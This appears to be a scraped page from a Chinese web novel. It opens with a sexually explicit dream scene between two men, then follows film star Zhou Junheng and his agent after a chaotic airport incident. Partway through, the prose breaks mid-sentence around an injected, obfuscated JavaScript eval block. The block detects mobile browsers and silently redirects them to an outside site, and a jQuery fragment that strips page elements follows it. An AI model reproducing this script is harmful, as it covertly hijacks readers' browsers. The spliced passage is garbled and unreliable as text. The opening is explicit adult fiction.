窗帘拉得严严实实，隔绝了所有夜色，只有一盏台灯，在墙上晕开两团模糊纠缠的影子。
润滑剂的瓶子歪倒在床单上，漏出一小滩水痕。粗重的喘息在密闭的房间里显得格外清晰，空气沉甸甸的，吸满了皮革蒸腾的热意和某种难以言喻的浓稠甜腥。
枕头上，男人偏过头，半张脸陷在柔软的织物里。灯光沿着他绷紧的后背流淌，后背绷出漂亮的肩胛骨轮廓，像一对被暖光浸透、随时要破皮而出的蝶翼。
床单在他紧攥的指下皱成一团，指节用力到泛白。每一次难以承受的力道传来，他手臂上的筋脉便绷紧暴起，像被拉到极限的弓弦，突突地跳动着。
他皮肤偏白，此刻却蒸腾着薄红。而覆在他身上的阴影里，另一具躯体的肤色更像冷白的瓷器。汗珠在那起伏的肌理上蜿蜒，汇聚，最终悬停在腰际那凹陷的涡旋里，像一颗颗被体温煨热后，摇摇欲坠的星子。
床头板冰凉的触感，隔着不到半寸的距离，若有若无地刺着他的额头。每一次无意识的向前挪蹭，都让那点凉意更靠近一分。
他撑在床头的手掌被床垫深处传来的震动撞得发麻。
这姿势倍感狼狈了。
……
“……”他把脸更深地埋进枕头，耳根滚烫，像要烧起来。
忽然，一点温热的气息拂过耳后，男人不由屏住了呼吸。身后湿热的胸膛紧密地贴合着他的脊背，毫无间隙。对方每一次急促的吸气、呼气，以及那细微到几乎难以察觉的震颤，都透过相贴的皮肤清晰地传递过来。
这静止般的相拥，竟也有几分说不出的温情。
鬼使神差地，他侧过头，用自己滚烫的脸颊，轻轻蹭了蹭对方汗湿的鬓角。这近乎本能的亲昵触碰，让覆在他身上的人眼睑倏地抬起，两道锐利的目光直直射像他。
猝不及防的四目相对，他眼底那片还未来得及收拾的浓稠迷恋，就这样毫无遮掩地撞进对方的视线里。
身上的人明显一僵，像烫到似的，手臂发力就要撑起身体退开。
昏黄的灯光描摹着那张脸，漂亮得近乎锋利，薄情的眉眼此刻染着动情的潮红，连带着惊怒的瞪视都蒙上了一层湿漉漉的雾气，显得毫无威慑，反而有种奇异的柔软。
唯独紧绷的下颌线，固执地泄露出一丝强撑的倔强，反倒让这瞬间的表情鲜活了起来，带着孩子气的别扭。
他看得心头一悸动，着了魔般，忽然伸出手，一把圈住了对方正要撤离的手腕。
被握住的人只是微微一怔，竟没有立刻挣脱。眼睫低垂，在鼻梁投下一小片细密的阴影。
沉默在两人之间弥漫。
男人面上闪过一丝喜色，喉结滚动了一下，压下几乎要撞出胸膛的紧张，声音带着点不稳的沙哑，低声道：“......换个姿势。”
空气的凝滞感加剧，比刚才更甚。
他清晰地感觉到对方手腕的肌肉愈发绷紧，相贴的皮肤下，那股暖流正迅速退潮，只留下黏腻的湿冷，几乎要渗进彼此的血液里。
这种冰冷的沉默，他太熟悉了。像一盆冰水兜头浇下。
理智在尖叫着放手，可今天不知怎么了。他固执地锁住对方的视线，那“看着他”的念头在血管里奔突冲撞，撞得他太阳穴突突作响。
“趴久了......”他拙劣地找着借口，“喘不过气。”
死寂在房间里膨胀。他狠狠咬住口腔内侧的软肉，铁锈的腥气瞬间在舌尖弥漫开，刺痛着清醒。
“让我......看着你...”他声音抖得不成样子，几乎是气音里挤出的哀求。
那人浓密的睫毛又细微颤了颤。他忽然想起深夜电脑屏幕的荧光，那些藏在匿名论坛里的露骨字句，此刻竟一句句在耳边炸开，烫得耳根发麻。
羞耻感洪水般涌上来，瞬间没顶。可他竟不管不顾地，任由那被碾碎的自尊从齿缝里漏出来：“我想看着你/我。”
原来人真的可以卑微到尘埃里，只为了汲取对方眼底一点微光。他闭了闭眼，放任自己向这无望的深渊坠落。
话一刚落，覆在身上的躯体更是绷紧如铁。紧接着，是那熟悉到冷人惊慌的抽离感。
对方竟要退开。
“别走！”
他色厉内荏地喝令，向来克制的情绪决了堤，眼眶被灼烫的液体逼得生疼。
可对方动作未停，那份炙热的触感正一寸寸剥离。就在那连接即将彻底断开的瞬间，恐惧攫住了他。
男人挣扎着想要翻身挽留，却猛地被一股不容抗拒的力道狠狠按回床褥深处，重新被钉在那片灼热与窒息的中心。
“呃！”
钝痛和骤然被重新填满的触感带来一丝荒谬的心安，随即又被汹涌却无处宣泄的委屈彻底淹没。
“为什么......”他整张脸埋在枕头里，声音被布料吸得支离破碎，几乎只剩下气声，“这么多年了......性别这一道坎......就真的...迈不过去吗？”
“可这......我怎么改得了。”
“嗡——”
周君珩从梦中惊醒，额前的碎发被汗水浸得透湿。床头的手机震个不停，他看都没看，抬手狠狠擦掉脸上的泪痕。
七年了。他以为早忘了。
周君珩扯动嘴角，喉间溢出一声自嘲的冷笑。
一辆通体漆黑的保姆车驶过两百米长的银杏林大道，最终停在一处灰墙黛瓦的别墅区前。
车内，左右两侧各坐着一人。
副驾驶上，元华推了推银丝眼镜，手机屏幕的光映在他略显疲惫的脸上。他正刷着一条“#周君珩机场#”的脱粉视频，眉头越皱越紧。
视频里，昨晚的机场乱得像一锅粥。接机口挤得水泄不通，粉丝们踮着脚尖往前涌，长枪短炮的镜头齐刷刷对准人群中央那个身影。
周君珩戴着口罩，遮住了大半张脸，可即便如此，也难以掩盖他那凌厉的眉骨。
他单手插兜走在工作人员开出的窄道上，肩背挺得笔直，自带一股生人勿近的气场。
视频前面还算有序。粉丝们默契地随着他的步伐后退，不时传来“哥哥注意身体！”“新戏什么时候开机？”的关切喊声。
周君珩偶尔朝声源方向微微颔首。就这简简单单的回应，在站姐们眼里都能成绝佳素材，足够剪出多个令人心动的苏点混剪。
到了视频后半部分，变故陡生。
周君珩非常突兀地僵在原地。透过口罩上沿，能看见他的瞳孔骤缩，望着右前方某处，里头有着难以置信的惊愕和某种近乎疯狂的急切。
身后那群粉丝可遭了殃。这帮小姑娘原本跟得挺整齐，这下全乱了套，你撞我我踩你，像一群没头苍蝇撞成了一团。
周君珩对这些骚动视而不见。他猝然发了狠，搡开护在他身侧的手臂，不管不顾往人群里扎。
前排粉丝轰然炸了锅。“周君珩！周君珩！”的尖叫声此起彼伏，无数双手在空中乱抓。有个小姑娘被挤得踉跄，带着哭腔喊“别挤了”，可这声转眼就被更大的声浪吞没。
元华看着屏幕里那个完全陌生的周君珩，手指无意识地揉搓着眼角，怀疑自己是不是熬夜产生了幻觉。
平心而论，在经纪人这个行当里，元华觉得自己算是捡着宝了。带周君珩这些年，简直省心到让人怀疑人生。该出席的活动从不迟到，该配合的宣传从不推脱，就连最难搞的媒体采访，他都能应付得滴水不漏。
周君珩这个人吧，天生就带着股不怒自威的气场。元华到现在都记得第一次见他的场景，那人就那么坐着，眼皮都懒得抬一下，奇怪的是居然让人一点都不觉得被冒犯。
他生得一副极好的骨相，眉骨到鼻梁的线条像山脊般利落，下颌的弧度干净锋利。好看是好看，却总带着几分生人勿近的冷意。
圈里人都说周君珩是天生的明星料子，可元华知道，那都是人家骨子里的教养撑着。就像他对待粉丝，虽然从来不搞什么亲民路线，但该有的礼貌一点不少，距离把握得刚刚好。
可眼前这视频...这个失了分寸的周君珩，反常得让他心里发毛。
“有意思...”元华眯起
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871346|176218||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼睛，瞬间来了精神。他太了解周君珩了，能让这位祖宗当众失态的人或事，绝对不简单。
见旁边的人再一次摁灭手机屏幕。元华终于憋不住了：“说一下呗，昨天到底什么情况？”
袁刚目光扫过又一次自动挂断的通话界面，只是摇头没说话。
得，白问。元华在心里翻了个白眼。
两人不再出声，车厢陷入沉默。
直到一道颀长身影出现在视野里，袁刚才像通了电似的推门下车。寒冬的冷风灌进来，他缩着脖子小跑到左侧，动作熟练地拉开后座车门。
周君珩坐进车里。元华从后视镜里瞄见他一大早就架着副墨镜，不由多看了他一眼。
后座的男人仰头靠在颈枕上，镜框外的下颌线条绷得发紧，左手有一搭没一搭地摩挲着右手手背上那道红痕。
元华皱了皱眉。作为经纪人，他见不得自家艺人身上有半点瑕疵，很想问有没有做过处理，但周君珩浑身散发着“别来烦我”的气息过于强烈，还是识相地闭上了嘴。
手机在兜里震个不停，工作室群里消息刷得飞快，#周君珩推搡粉丝#的热搜虽然被压到二十开外了，但广场上还有几个营销号在暗戳戳带节奏。
不过元华倒是不怎么担心。就凭周家在这圈子里的人脉，这点风波连个水花都算不上。他更好奇的是，这位平日里八风不动的祖宗，到底看见什么了能让他当众失态。
“今天的通告单发你了。”元华清了清嗓子，跟报菜名似的开始念，“上午十点杂志拍摄，下午三点品牌方要来谈续约的事，晚上还有个时尚活动。”
后座传来一声几不可闻的轻哼。周君珩把墨镜往下拉了半寸，露出那双标志性的丹凤眼。
“推了。”
“哪个？”
“全部。”
元华转头时瞥见他眼尾泛着不自然的红。昨儿半夜才从跨省路演赶回来，机场那出闹剧又折腾到后半夜，他只当周君珩是没休息好的缘故，便不再多话。
电话那头的杂志方倒是好说话，满口答应调整档期。能不好说话么？周家的背景加上三金影帝的招牌，够让他们全团队乖乖等着。
“人怎么样了？”
后座突然蹦出这么一句，元华愣了两秒才反应过来他问的是机场摔倒的那个粉丝。
“右脚裸扭伤，片子显示没骨折。”他划拉着平板调出医院发来的邮件，往后座递，“其他没啥大碍，公司已经派人全程跟进了。”
本以为这事就算翻篇了，没想到五分钟后，后座飘来一句，那语气轻淡又不容置疑。
“去医院吧。”
元华瞅了眼后视镜，周君珩依然保持着仰靠的姿势，墨镜后的表情看不真切。
周君珩主动提出去医院看摔伤的粉丝，意外，却也不算意外。他要做的事，从来只按自己的意愿来。
不过倒是个扭转舆论的好机会，元华已经在心里盘算着通稿该怎么写。
想了一会，思绪不由飘到刚接手周君珩那会儿。圈里有点门路的都知道这位的背景，多数人都是观望态度。毕竟这样的公子哥，谁知道是不是一时兴起？连元华自己都暗自腹诽，怕是带不了几个月这位少爷就得撂挑子。
但这世上就是有这么一种人，老天爷追着喂饭吃，偏生还比谁都拼命。元华见过周君珩为了一场情绪戏，反复揣摩到深夜；NG几十条也不见半点不耐，大冬天淋雨戏一条过，冻得嘴唇发紫还在跟导演讨论人物动机。那股子较真劲儿，连导演都暗自咂舌。
那部电影上映后，所有质疑声都哑了火。
说来也巧，让周君珩一炮而红的也是个新人的作品。
元华隐约记得当时有些捕风捉影的传闻，说周君珩入行就是为了这部戏，甚至为此有过什么争执。他当时没太在意，毕竟圈里最不缺的就是各种流言。
后座传来轻微的响动，元华这才回神。后视镜里，他看见周君珩抬手调整了下墨镜，目光长久地落在手机屏幕上，像是要把那小小的方寸之地看穿。元华几乎以为时间静止了，才见他终于动了动手指。